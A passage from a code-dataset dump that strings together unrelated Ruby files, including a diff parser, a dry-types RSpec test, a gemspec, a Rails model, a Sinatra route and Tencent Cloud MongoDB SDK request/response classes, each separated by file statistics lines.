Regexp.last_match[:line_number].to_i when NO_NEWLINE_MESSAGE # nop when MODIFIED_LINE line = Line.new( content: content, number: line_number, patch_position: patch_position ) lines << line line_number += 1 when NOT_REMOVED_LINE line_number += 1 end lines end end # @return [Array<Line>] removed lines def removed_lines line_number = 0 lines.each_with_index.inject([]) do |lines, (content, patch_position)| case content when RANGE_INFORMATION_LINE line_number = Regexp.last_match[:line_number].to_i when REMOVED_LINE line = Line.new( content: content, number: line_number, patch_position: patch_position ) lines << line line_number += 1 end lines end end # @return [Array<Integer>] changed line numbers def changed_line_numbers changed_lines.map(&:number) end # @param line_number [Integer] line number # # @return [Integer, nil] patch position def find_patch_position_by_line_number(line_number) target = changed_lines.find { |line| line.number == line_number } return nil unless target target.patch_position end private def lines @body.lines end end end
31.063492
119
0.596065
ac0c1e3a1cfa3eb397287f8df1185bae0f9a0b5d
2,465
# frozen_string_literal: true require 'dry/types/primitive_inferrer' RSpec.describe Dry::Types::PrimitiveInferrer, '#[]' do subject(:inferrer) do Dry::Types::PrimitiveInferrer.new end before { stub_const('Types', Dry.Types()) } def type(*args) args.map { |name| Dry::Types[name.to_s] }.reduce(:|) end it 'caches results' do expect(inferrer[type(:string)]).to be(inferrer[type(:string)]) end it 'returns String for a string type' do expect(inferrer[type(:string)]).to eql([String]) end it 'returns Integer for a integer type' do expect(inferrer[type(:integer)]).to eql([Integer]) end it 'returns Array for a string type' do expect(inferrer[type(:array)]).to eql([Array]) end it 'returns Array for a primitive array' do expect(inferrer[Types.Constructor(Array)]).to eql([Array]) end it 'returns Hash for a string type' do expect(inferrer[type(:hash)]).to eql([Hash]) end it 'returns DateTime for a datetime type' do expect(inferrer[type(:date_time)]).to eql([DateTime]) end it 'returns NilClass for a nil type' do expect(inferrer[type(:nil)]).to eql([NilClass]) end it 'returns FalseClass for a false type' do expect(inferrer[type(:false)]).to eql([FalseClass]) end it 'returns TrueClass for a true type' do expect(inferrer[type(:true)]).to eql([TrueClass]) end it 'returns FalseClass for a false type' do expect(inferrer[type(:false)]).to eql([FalseClass]) end it 'returns [TrueClass, FalseClass] for bool type' do expect(inferrer[type(:bool)]).to eql([TrueClass, FalseClass]) end it 'returns Integer for a lax constructor integer type' do expect(inferrer[type('params.integer').lax]).to eql([Integer]) end it 'returns [NilClass, Integer] from an optional integer with constructor' do expect(inferrer[type(:integer).optional.constructor(&:to_i)]).to eql([NilClass, Integer]) end it 'returns Integer for integer enum type' do expect(inferrer[type(:integer).enum(1, 2)]).to eql([Integer]) end it 'returns custom type for arbitrary types' do custom_type = Dry::Types::Nominal.new(double(:some_type, name: 'ObjectID')) expect(inferrer[custom_type]).to eql([custom_type.primitive]) end it 'returns Object for any' do expect(inferrer[type(:any)]).to eql([Object]) end it 'returns Hash for a schema' do expect(inferrer[type(:hash).schema(foo: type(:integer))]).to eql([Hash]) end end
27.388889
93
0.687627
bf0cf82683663c21225a4187d5879b5fa97c6ac8
649
# -*- encoding: utf-8 -*- require File.expand_path('../lib/say/version', __FILE__) Gem::Specification.new do |gem| gem.authors = ["rochefort"] gem.email = ["[email protected]"] gem.summary = %q{extend Mac OSX say command} gem.description = gem.summary gem.homepage = "https://github.com/rochefort/say" gem.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) } gem.files = `git ls-files`.split("\n") gem.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") gem.name = "say" gem.require_paths = ["lib"] gem.version = Say::VERSION end
36.055556
85
0.596302
1a42214c486ab0ee3d987f54faa292941da9796b
1,188
class Sakura < ActiveRecord::Base belongs_to :place # MIN = self.minimum(:full_on) # MAX = self.maximum(:full_on) # DIFF = MAX - MIN # output laern_datas # Example # inputs_set, ouputs_sets = Sakura.laern_datas def self.laern_datas reasons = [] results = [] self.all.each do |sakura| reason = Temp.reason(sakura.place_id, sakura.year) # if reason.count == 120 * 3 reasons << reason results << sakura.from_new_years_day # end end [reasons, results] end def self.new_from_results(result_sets, year = Date.today.year) min = Sakura.minimum(:full_on) max = Sakura.maximum(:full_on) diff = max - min new_years_day = Date.parse("#{year-1}-12-31") + Sakura.minimum(:full_on) result_sets.map do |f| new_years_day + (f * diff).to_i.days end end def full_on_date Date.parse("#{year-1}-12-31") + self.full_on end # def from_new_years_day(cols = [:open_on, :full_on]) def from_new_years_day(cols = [:full_on]) min = Sakura.minimum(:full_on) max = Sakura.maximum(:full_on) diff = max - min cols.map do |col| (self.try(col) - min).to_i / diff.to_f end end end
24.75
76
0.638047
616cfb6f01d5f97d1ca9ab24bc3064095aa90e6f
133
require 'sinatra' require_relative '../check_server' current_check.filenames.each { |filename| get( "/#{filename}" ) { filename } }
26.6
78
0.714286
87794c11bf96b5482d21a2a6de826ce04b468c6a
72,674
# frozen_string_literal: true # Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module TencentCloud module Mongodb module V20190725 # AssignProject请求参数结构体 class AssignProjectRequest < TencentCloud::Common::AbstractModel # @param InstanceIds: 实例ID列表,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceIds: Array # @param ProjectId: 项目ID # @type ProjectId: Integer attr_accessor :InstanceIds, :ProjectId def initialize(instanceids=nil, projectid=nil) @InstanceIds = instanceids @ProjectId = projectid end def deserialize(params) @InstanceIds = params['InstanceIds'] @ProjectId = params['ProjectId'] end end # AssignProject返回参数结构体 class AssignProjectResponse < TencentCloud::Common::AbstractModel # @param FlowIds: 返回的异步任务ID列表 # @type FlowIds: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :FlowIds, :RequestId def initialize(flowids=nil, requestid=nil) @FlowIds = flowids @RequestId = requestid end def deserialize(params) @FlowIds = params['FlowIds'] @RequestId = params['RequestId'] end end # 备份文件存储信息 class BackupFile < TencentCloud::Common::AbstractModel # @param ReplicateSetId: 备份文件所属的副本集/分片ID # @type ReplicateSetId: String # @param File: 备份文件保存路径 # @type File: String attr_accessor :ReplicateSetId, :File def initialize(replicatesetid=nil, file=nil) @ReplicateSetId = replicatesetid @File = file end def deserialize(params) @ReplicateSetId = params['ReplicateSetId'] @File = params['File'] end end # 备份信息 class BackupInfo < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID # @type InstanceId: String # @param BackupType: 备份方式,0-自动备份,1-手动备份 # @type BackupType: Integer # @param BackupName: 备份名称 # @type BackupName: String # @param BackupDesc: 备份备注 # 注意:此字段可能返回 null,表示取不到有效值。 # @type BackupDesc: String # @param BackupSize: 备份文件大小,单位KB # 注意:此字段可能返回 null,表示取不到有效值。 # @type BackupSize: Integer # @param StartTime: 备份开始时间 # 注意:此字段可能返回 null,表示取不到有效值。 # @type StartTime: String # @param EndTime: 备份结束时间 # 注意:此字段可能返回 null,表示取不到有效值。 # @type EndTime: String # @param Status: 备份状态,1-备份中,2-备份成功 # @type Status: Integer # @param BackupMethod: 备份方法,0-逻辑备份,1-物理备份 # @type BackupMethod: Integer attr_accessor :InstanceId, :BackupType, :BackupName, :BackupDesc, :BackupSize, :StartTime, :EndTime, :Status, :BackupMethod def initialize(instanceid=nil, backuptype=nil, backupname=nil, backupdesc=nil, backupsize=nil, starttime=nil, endtime=nil, status=nil, backupmethod=nil) @InstanceId = instanceid @BackupType = backuptype @BackupName = backupname @BackupDesc = backupdesc @BackupSize = backupsize @StartTime = starttime @EndTime = endtime @Status = status @BackupMethod = backupmethod end def deserialize(params) @InstanceId = params['InstanceId'] @BackupType = params['BackupType'] @BackupName = params['BackupName'] @BackupDesc = params['BackupDesc'] @BackupSize = params['BackupSize'] @StartTime = params['StartTime'] @EndTime = params['EndTime'] @Status = params['Status'] @BackupMethod = params['BackupMethod'] end end # 客户端连接信息,包括客户端IP和连接数 class ClientConnection < TencentCloud::Common::AbstractModel # @param IP: 连接的客户端IP # @type IP: String # @param Count: 对应客户端IP的连接数 # @type Count: Integer attr_accessor :IP, :Count def initialize(ip=nil, count=nil) @IP = ip @Count = count end def deserialize(params) @IP = params['IP'] @Count = params['Count'] end end # CreateBackupDBInstance请求参数结构体 class CreateBackupDBInstanceRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例id # @type InstanceId: String # @param BackupMethod: 0-逻辑备份,1-物理备份 # @type BackupMethod: Integer # @param BackupRemark: 备份备注 # @type BackupRemark: String attr_accessor :InstanceId, :BackupMethod, :BackupRemark def initialize(instanceid=nil, backupmethod=nil, backupremark=nil) @InstanceId = instanceid @BackupMethod = backupmethod @BackupRemark = backupremark end def deserialize(params) @InstanceId = params['InstanceId'] @BackupMethod = params['BackupMethod'] @BackupRemark = params['BackupRemark'] end end # CreateBackupDBInstance返回参数结构体 class CreateBackupDBInstanceResponse < TencentCloud::Common::AbstractModel # @param AsyncRequestId: 查询备份流程的状态 # @type AsyncRequestId: String # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :AsyncRequestId, :RequestId def initialize(asyncrequestid=nil, requestid=nil) @AsyncRequestId = asyncrequestid @RequestId = requestid end def deserialize(params) @AsyncRequestId = params['AsyncRequestId'] @RequestId = params['RequestId'] end end # CreateDBInstanceHour请求参数结构体 class CreateDBInstanceHourRequest < TencentCloud::Common::AbstractModel # @param Memory: 实例内存大小,单位:GB # @type Memory: Integer # @param Volume: 实例硬盘大小,单位:GB # @type Volume: Integer # @param ReplicateSetNum: 副本集个数,创建副本集实例时,该参数必须设置为1;创建分片实例时,具体参照查询云数据库的售卖规格返回参数 # @type ReplicateSetNum: Integer # @param NodeNum: 每个副本集内节点个数,当前副本集节点数固定为3,分片从节点数可选,具体参照查询云数据库的售卖规格返回参数 # @type NodeNum: Integer # @param MongoVersion: 版本号,具体支持的售卖版本请参照查询云数据库的售卖规格(DescribeSpecInfo)返回结果。参数与版本对应关系是MONGO_3_WT:MongoDB 3.2 WiredTiger存储引擎版本,MONGO_3_ROCKS:MongoDB 3.2 RocksDB存储引擎版本,MONGO_36_WT:MongoDB 3.6 WiredTiger存储引擎版本 # @type MongoVersion: String # @param MachineCode: 机器类型,HIO:高IO型;HIO10G:高IO万兆 # @type MachineCode: String # @param GoodsNum: 实例数量,最小值1,最大值为10 # @type GoodsNum: Integer # @param Zone: 可用区信息,格式如:ap-guangzhou-2 # @type Zone: String # @param ClusterType: 实例类型,REPLSET-副本集,SHARD-分片集群 # @type ClusterType: String # @param VpcId: 私有网络ID,如果不设置该参数则默认选择基础网络 # @type VpcId: String # @param SubnetId: 私有网络下的子网ID,如果设置了 VpcId,则 SubnetId必填 # @type SubnetId: String # @param Password: 实例密码,不设置该参数则需要在创建完成后通过设置密码接口初始化实例密码。密码必须是8-16位字符,且至少包含字母、数字和字符 !@#%^*() 中的两种 # @type Password: String # @param ProjectId: 项目ID,不设置为默认项目 # @type ProjectId: Integer # @param Tags: 实例标签信息 # @type Tags: Array # @param Clone: 1:正式实例,2:临时实例,3:只读实例,4:灾备实例 # @type Clone: Integer # @param Father: 父实例Id,当Clone为3或者4时,这个必须填 # @type Father: String # @param SecurityGroup: 安全组 # @type SecurityGroup: Array attr_accessor :Memory, :Volume, :ReplicateSetNum, :NodeNum, :MongoVersion, :MachineCode, :GoodsNum, :Zone, :ClusterType, :VpcId, :SubnetId, :Password, :ProjectId, :Tags, :Clone, :Father, :SecurityGroup def initialize(memory=nil, volume=nil, replicatesetnum=nil, nodenum=nil, mongoversion=nil, machinecode=nil, goodsnum=nil, zone=nil, clustertype=nil, vpcid=nil, subnetid=nil, password=nil, projectid=nil, tags=nil, clone=nil, father=nil, securitygroup=nil) @Memory = memory @Volume = volume @ReplicateSetNum = replicatesetnum @NodeNum = nodenum @MongoVersion = mongoversion @MachineCode = machinecode @GoodsNum = goodsnum @Zone = zone @ClusterType = clustertype @VpcId = vpcid @SubnetId = subnetid @Password = password @ProjectId = projectid @Tags = tags @Clone = clone @Father = father @SecurityGroup = securitygroup end def deserialize(params) @Memory = params['Memory'] @Volume = params['Volume'] @ReplicateSetNum = params['ReplicateSetNum'] @NodeNum = params['NodeNum'] @MongoVersion = params['MongoVersion'] @MachineCode = params['MachineCode'] @GoodsNum = params['GoodsNum'] @Zone = params['Zone'] @ClusterType = params['ClusterType'] @VpcId = params['VpcId'] @SubnetId = params['SubnetId'] @Password = params['Password'] @ProjectId = params['ProjectId'] @Tags = params['Tags'] @Clone = params['Clone'] @Father = params['Father'] @SecurityGroup = params['SecurityGroup'] end end # CreateDBInstanceHour返回参数结构体 class CreateDBInstanceHourResponse < TencentCloud::Common::AbstractModel # @param DealId: 订单ID # @type DealId: String # @param InstanceIds: 创建的实例ID列表 # @type InstanceIds: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :DealId, :InstanceIds, :RequestId def initialize(dealid=nil, instanceids=nil, requestid=nil) @DealId = dealid @InstanceIds = instanceids @RequestId = requestid end def deserialize(params) @DealId = params['DealId'] @InstanceIds = params['InstanceIds'] @RequestId = params['RequestId'] end end # CreateDBInstance请求参数结构体 class CreateDBInstanceRequest < TencentCloud::Common::AbstractModel # @param NodeNum: 每个副本集内节点个数,当前副本集节点数固定为3,分片从节点数可选,具体参照查询云数据库的售卖规格返回参数 # @type NodeNum: Integer # @param Memory: 实例内存大小,单位:GB # @type Memory: Integer # @param Volume: 实例硬盘大小,单位:GB # @type Volume: Integer # @param MongoVersion: 版本号,具体支持的售卖版本请参照查询云数据库的售卖规格(DescribeSpecInfo)返回结果。参数与版本对应关系是MONGO_3_WT:MongoDB 3.2 WiredTiger存储引擎版本,MONGO_3_ROCKS:MongoDB 3.2 RocksDB存储引擎版本,MONGO_36_WT:MongoDB 3.6 WiredTiger存储引擎版本,MONGO_40_WT:MongoDB 4.0 WiredTiger存储引擎版本 # @type MongoVersion: String # @param GoodsNum: 实例数量, 最小值1,最大值为10 # @type GoodsNum: Integer # @param Zone: 实例所属区域名称,格式如:ap-guangzhou-2 # @type Zone: String # @param Period: 实例时长,单位:月,可选值包括 [1,2,3,4,5,6,7,8,9,10,11,12,24,36] # @type Period: Integer # @param MachineCode: 机器类型,HIO:高IO型;HIO10G:高IO万兆型;STDS5:标准型 # @type MachineCode: String # @param ClusterType: 实例类型,REPLSET-副本集,SHARD-分片集群,STANDALONE-单节点 # @type ClusterType: String # @param ReplicateSetNum: 副本集个数,创建副本集实例时,该参数必须设置为1;创建分片实例时,具体参照查询云数据库的售卖规格返回参数;若为单节点实例,该参数设置为0 # @type ReplicateSetNum: Integer # @param ProjectId: 项目ID,不设置为默认项目 # @type ProjectId: Integer # @param VpcId: 私有网络 ID,如果不传则默认选择基础网络,请使用 查询私有网络列表 # @type VpcId: String # @param SubnetId: 私有网络下的子网 ID,如果设置了 UniqVpcId,则 UniqSubnetId 必填,请使用 查询子网列表 # @type SubnetId: String # @param Password: 实例密码,不设置该参数则需要在创建完成后通过设置密码接口初始化实例密码。密码必须是8-16位字符,且至少包含字母、数字和字符 !@#%^*() 中的两种 # @type Password: String # @param Tags: 实例标签信息 # @type Tags: Array # @param AutoRenewFlag: 自动续费标记,可选值为:0 - 不自动续费;1 - 自动续费。默认为不自动续费 # @type AutoRenewFlag: Integer # @param AutoVoucher: 是否自动选择代金券,可选值为:1 - 是;0 - 否; 默认为0 # @type AutoVoucher: Integer # @param Clone: 1:正式实例,2:临时实例,3:只读实例,4:灾备实例 # @type Clone: Integer # @param Father: 若是只读,灾备实例,Father必须填写,即主实例ID # @type Father: String # @param SecurityGroup: 安全组 # @type SecurityGroup: Array attr_accessor :NodeNum, :Memory, :Volume, :MongoVersion, :GoodsNum, :Zone, :Period, :MachineCode, :ClusterType, :ReplicateSetNum, :ProjectId, :VpcId, :SubnetId, :Password, :Tags, :AutoRenewFlag, :AutoVoucher, :Clone, :Father, :SecurityGroup def initialize(nodenum=nil, memory=nil, volume=nil, mongoversion=nil, goodsnum=nil, zone=nil, period=nil, machinecode=nil, clustertype=nil, replicatesetnum=nil, projectid=nil, vpcid=nil, subnetid=nil, password=nil, tags=nil, autorenewflag=nil, autovoucher=nil, clone=nil, father=nil, securitygroup=nil) @NodeNum = nodenum @Memory = memory @Volume = volume @MongoVersion = mongoversion @GoodsNum = goodsnum @Zone = zone @Period = period @MachineCode = machinecode @ClusterType = clustertype @ReplicateSetNum = replicatesetnum @ProjectId = projectid @VpcId = vpcid @SubnetId = subnetid @Password = password @Tags = tags @AutoRenewFlag = autorenewflag @AutoVoucher = autovoucher @Clone = clone @Father = father @SecurityGroup = securitygroup end def deserialize(params) @NodeNum = params['NodeNum'] @Memory = params['Memory'] @Volume = params['Volume'] @MongoVersion = params['MongoVersion'] @GoodsNum = params['GoodsNum'] @Zone = params['Zone'] @Period = params['Period'] @MachineCode = params['MachineCode'] @ClusterType = params['ClusterType'] @ReplicateSetNum = params['ReplicateSetNum'] @ProjectId = params['ProjectId'] @VpcId = params['VpcId'] @SubnetId = params['SubnetId'] @Password = params['Password'] @Tags = params['Tags'] @AutoRenewFlag = params['AutoRenewFlag'] @AutoVoucher = params['AutoVoucher'] @Clone = params['Clone'] @Father = params['Father'] @SecurityGroup = params['SecurityGroup'] end end # CreateDBInstance返回参数结构体 class CreateDBInstanceResponse < TencentCloud::Common::AbstractModel # @param DealId: 订单ID # @type DealId: String # @param InstanceIds: 创建的实例ID列表 # @type InstanceIds: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :DealId, :InstanceIds, :RequestId def initialize(dealid=nil, instanceids=nil, requestid=nil) @DealId = dealid @InstanceIds = instanceids @RequestId = requestid end def deserialize(params) @DealId = params['DealId'] @InstanceIds = params['InstanceIds'] @RequestId = params['RequestId'] end end # 云数据库实例当前操作 class CurrentOp < TencentCloud::Common::AbstractModel # @param OpId: 操作序号 # 注意:此字段可能返回 null,表示取不到有效值。 # @type OpId: Integer # @param Ns: 操作所在的命名空间,形式如db.collection # 注意:此字段可能返回 null,表示取不到有效值。 # @type Ns: String # @param Query: 操作执行语句 # 注意:此字段可能返回 null,表示取不到有效值。 # @type Query: String # @param Op: 操作类型,可能的取值:aggregate、count、delete、distinct、find、findAndModify、getMore、insert、mapReduce、update和command # 注意:此字段可能返回 null,表示取不到有效值。 # @type Op: String # @param ReplicaSetName: 操作所在的分片名称 # @type ReplicaSetName: String # @param State: 筛选条件,节点状态,可能的取值为:Primary、Secondary # 注意:此字段可能返回 null,表示取不到有效值。 # @type State: String # @param Operation: 操作详细信息 # 注意:此字段可能返回 null,表示取不到有效值。 # @type Operation: String # @param NodeName: 操作所在的节点名称 # @type NodeName: String # @param MicrosecsRunning: 操作已执行时间(ms) # 注意:此字段可能返回 null,表示取不到有效值。 # @type MicrosecsRunning: Integer attr_accessor :OpId, :Ns, :Query, :Op, :ReplicaSetName, :State, :Operation, :NodeName, :MicrosecsRunning def initialize(opid=nil, ns=nil, query=nil, op=nil, replicasetname=nil, state=nil, operation=nil, nodename=nil, microsecsrunning=nil) @OpId = opid @Ns = ns @Query = query @Op = op @ReplicaSetName = replicasetname @State = state @Operation = operation @NodeName = nodename @MicrosecsRunning = microsecsrunning end def deserialize(params) @OpId = params['OpId'] @Ns = params['Ns'] @Query = params['Query'] @Op = params['Op'] @ReplicaSetName = params['ReplicaSetName'] @State = params['State'] @Operation = params['Operation'] @NodeName = params['NodeName'] @MicrosecsRunning = params['MicrosecsRunning'] end end # 实例信息 class DBInstanceInfo < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID # @type InstanceId: String # @param Region: 地域信息 # @type Region: String attr_accessor :InstanceId, :Region def initialize(instanceid=nil, region=nil) @InstanceId = instanceid @Region = region end def deserialize(params) @InstanceId = params['InstanceId'] @Region = params['Region'] end end # 数据库实例价格 class DBInstancePrice < TencentCloud::Common::AbstractModel # @param UnitPrice: 单价 # 注意:此字段可能返回 null,表示取不到有效值。 # @type UnitPrice: Float # @param OriginalPrice: 原价 # @type OriginalPrice: Float # @param DiscountPrice: 折扣加 # @type DiscountPrice: Float attr_accessor :UnitPrice, :OriginalPrice, :DiscountPrice def initialize(unitprice=nil, originalprice=nil, discountprice=nil) @UnitPrice = unitprice @OriginalPrice = originalprice @DiscountPrice = discountprice end def deserialize(params) @UnitPrice = params['UnitPrice'] @OriginalPrice = params['OriginalPrice'] @DiscountPrice = params['DiscountPrice'] end end # DescribeAsyncRequestInfo请求参数结构体 class DescribeAsyncRequestInfoRequest < TencentCloud::Common::AbstractModel # @param AsyncRequestId: 异步请求Id,涉及到异步流程的接口返回,如CreateBackupDBInstance # @type AsyncRequestId: String attr_accessor :AsyncRequestId def initialize(asyncrequestid=nil) @AsyncRequestId = asyncrequestid end def deserialize(params) @AsyncRequestId = params['AsyncRequestId'] end end # DescribeAsyncRequestInfo返回参数结构体 class DescribeAsyncRequestInfoResponse < TencentCloud::Common::AbstractModel # @param Status: 状态 # @type Status: String # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Status, :RequestId def initialize(status=nil, requestid=nil) @Status = status @RequestId = requestid end def deserialize(params) @Status = params['Status'] @RequestId = params['RequestId'] end end # DescribeBackupAccess请求参数结构体 class DescribeBackupAccessRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param BackupName: 需要获取下载授权的备份文件名 # @type BackupName: String attr_accessor :InstanceId, :BackupName def initialize(instanceid=nil, backupname=nil) @InstanceId = instanceid @BackupName = backupname end def deserialize(params) @InstanceId = params['InstanceId'] @BackupName = params['BackupName'] end end # DescribeBackupAccess返回参数结构体 class DescribeBackupAccessResponse < TencentCloud::Common::AbstractModel # @param Region: 实例所属地域 # @type Region: String # @param Bucket: 备份文件所在存储桶 # @type Bucket: String # @param Files: 备份文件的存储信息 # @type Files: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Region, :Bucket, :Files, :RequestId def initialize(region=nil, bucket=nil, files=nil, requestid=nil) @Region = region @Bucket = bucket @Files = files @RequestId = requestid end def deserialize(params) @Region = params['Region'] @Bucket = params['Bucket'] @Files = params['Files'] @RequestId = params['RequestId'] end end # DescribeClientConnections请求参数结构体 class DescribeClientConnectionsRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param Limit: 查询返回记录条数,默认为10000。 # @type Limit: Integer # @param Offset: 偏移量,默认值为0。 # @type Offset: Integer attr_accessor :InstanceId, :Limit, :Offset def initialize(instanceid=nil, limit=nil, offset=nil) @InstanceId = instanceid @Limit = limit @Offset = offset end def deserialize(params) @InstanceId = params['InstanceId'] @Limit = params['Limit'] @Offset = params['Offset'] end end # DescribeClientConnections返回参数结构体 class DescribeClientConnectionsResponse < TencentCloud::Common::AbstractModel # @param Clients: 客户端连接信息,包括客户端IP和对应IP的连接数量。 # @type Clients: Array # @param TotalCount: 满足条件的记录总条数,可用于分页查询。 # @type TotalCount: Integer # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Clients, :TotalCount, :RequestId def initialize(clients=nil, totalcount=nil, requestid=nil) @Clients = clients @TotalCount = totalcount @RequestId = requestid end def deserialize(params) @Clients = params['Clients'] @TotalCount = params['TotalCount'] @RequestId = params['RequestId'] end end # DescribeCurrentOp请求参数结构体 class DescribeCurrentOpRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param Ns: 筛选条件,操作所属的命名空间namespace,格式为db.collection # @type Ns: String # @param MillisecondRunning: 筛选条件,操作已经执行的时间(单位:毫秒),结果将返回超过设置时间的操作,默认值为0,取值范围为[0, 3600000] # @type MillisecondRunning: Integer # @param Op: 筛选条件,操作类型,可能的取值:none,update,insert,query,command,getmore,remove和killcursors # @type Op: String # @param ReplicaSetName: 筛选条件,分片名称 # @type ReplicaSetName: String # @param State: 筛选条件,节点状态,可能的取值为:primary # secondary # @type State: String # @param Limit: 单次请求返回的数量,默认值为100,取值范围为[0,100] # @type Limit: Integer # @param Offset: 偏移量,默认值为0,取值范围为[0,10000] # @type Offset: Integer # @param OrderBy: 返回结果集排序的字段,目前支持:"MicrosecsRunning"/"microsecsrunning",默认为升序排序 # @type OrderBy: String # @param OrderByType: 返回结果集排序方式,可能的取值:"ASC"/"asc"或"DESC"/"desc" # @type OrderByType: String attr_accessor :InstanceId, :Ns, :MillisecondRunning, :Op, :ReplicaSetName, :State, :Limit, :Offset, :OrderBy, :OrderByType def initialize(instanceid=nil, ns=nil, millisecondrunning=nil, op=nil, replicasetname=nil, state=nil, limit=nil, offset=nil, orderby=nil, orderbytype=nil) @InstanceId = instanceid @Ns = ns @MillisecondRunning = millisecondrunning @Op = op @ReplicaSetName = replicasetname @State = state @Limit = limit @Offset = offset @OrderBy = orderby @OrderByType = orderbytype end def deserialize(params) @InstanceId = params['InstanceId'] @Ns = params['Ns'] @MillisecondRunning = params['MillisecondRunning'] @Op = params['Op'] @ReplicaSetName = params['ReplicaSetName'] @State = params['State'] @Limit = params['Limit'] @Offset = params['Offset'] @OrderBy = params['OrderBy'] @OrderByType = params['OrderByType'] end end # DescribeCurrentOp返回参数结构体 class DescribeCurrentOpResponse < TencentCloud::Common::AbstractModel # @param TotalCount: 符合查询条件的操作总数 # @type TotalCount: Integer # @param CurrentOps: 当前操作列表 # @type CurrentOps: Array # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :TotalCount, :CurrentOps, :RequestId def initialize(totalcount=nil, currentops=nil, requestid=nil) @TotalCount = totalcount @CurrentOps = currentops @RequestId = requestid end def deserialize(params) @TotalCount = params['TotalCount'] @CurrentOps = params['CurrentOps'] @RequestId = params['RequestId'] end end # DescribeDBBackups请求参数结构体 class DescribeDBBackupsRequest < TencentCloud::Common::AbstractModel # @param InstanceId: 实例ID,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceId: String # @param BackupMethod: 备份方式,当前支持:0-逻辑备份,1-物理备份,2-所有备份。默认为逻辑备份。 # @type BackupMethod: Integer # @param Limit: 分页大小,最大值为100,不设置默认查询所有。 # @type Limit: Integer # @param Offset: 分页偏移量,最小值为0,默认值为0。 # @type Offset: Integer attr_accessor :InstanceId, :BackupMethod, :Limit, :Offset def initialize(instanceid=nil, backupmethod=nil, limit=nil, offset=nil) @InstanceId = instanceid @BackupMethod = backupmethod @Limit = limit @Offset = offset end def deserialize(params) @InstanceId = params['InstanceId'] @BackupMethod = params['BackupMethod'] @Limit = params['Limit'] @Offset = params['Offset'] end end # DescribeDBBackups返回参数结构体 class DescribeDBBackupsResponse < TencentCloud::Common::AbstractModel # @param BackupList: 备份列表 # @type BackupList: Array # @param TotalCount: 备份总数 # @type TotalCount: Integer # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :BackupList, :TotalCount, :RequestId def initialize(backuplist=nil, totalcount=nil, requestid=nil) @BackupList = backuplist @TotalCount = totalcount @RequestId = requestid end def deserialize(params) @BackupList = params['BackupList'] @TotalCount = params['TotalCount'] @RequestId = params['RequestId'] end end # DescribeDBInstanceDeal请求参数结构体 class DescribeDBInstanceDealRequest < TencentCloud::Common::AbstractModel # @param DealId: 订单ID,通过CreateDBInstance等接口返回 # @type DealId: String attr_accessor :DealId def initialize(dealid=nil) @DealId = dealid end def deserialize(params) @DealId = params['DealId'] end end # DescribeDBInstanceDeal返回参数结构体 class DescribeDBInstanceDealResponse < TencentCloud::Common::AbstractModel # @param Status: 订单状态,1:未支付,2:已支付,3:发货中,4:发货成功,5:发货失败,6:退款,7:订单关闭,8:超时未支付关闭。 # @type Status: Integer # @param OriginalPrice: 订单原价。 # @type OriginalPrice: Float # @param DiscountPrice: 订单折扣价格。 # @type DiscountPrice: Float # @param Action: 订单行为,purchase:新购,renew:续费,upgrade:升配,downgrade:降配,refund:退货退款。 # @type Action: String # @param RequestId: 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 # @type RequestId: String attr_accessor :Status, :OriginalPrice, :DiscountPrice, :Action, :RequestId def initialize(status=nil, originalprice=nil, discountprice=nil, action=nil, requestid=nil) @Status = status @OriginalPrice = originalprice @DiscountPrice = discountprice @Action = action @RequestId = requestid end def deserialize(params) @Status = params['Status'] @OriginalPrice = params['OriginalPrice'] @DiscountPrice = params['DiscountPrice'] @Action = params['Action'] @RequestId = params['RequestId'] end end # DescribeDBInstances请求参数结构体 class DescribeDBInstancesRequest < TencentCloud::Common::AbstractModel # @param InstanceIds: 实例ID列表,格式如:cmgo-p8vnipr5。与云数据库控制台页面中显示的实例ID相同 # @type InstanceIds: Array # @param InstanceType: 实例类型,取值范围:0-所有实例,1-正式实例,2-临时实例, 3-只读实例,-1-正式实例+只读+灾备实例 # @type InstanceType: Integer # @param ClusterType: 集群类型,取值范围:0-副本集实例,1-分片实例,-1-所有实例 # @type ClusterType: 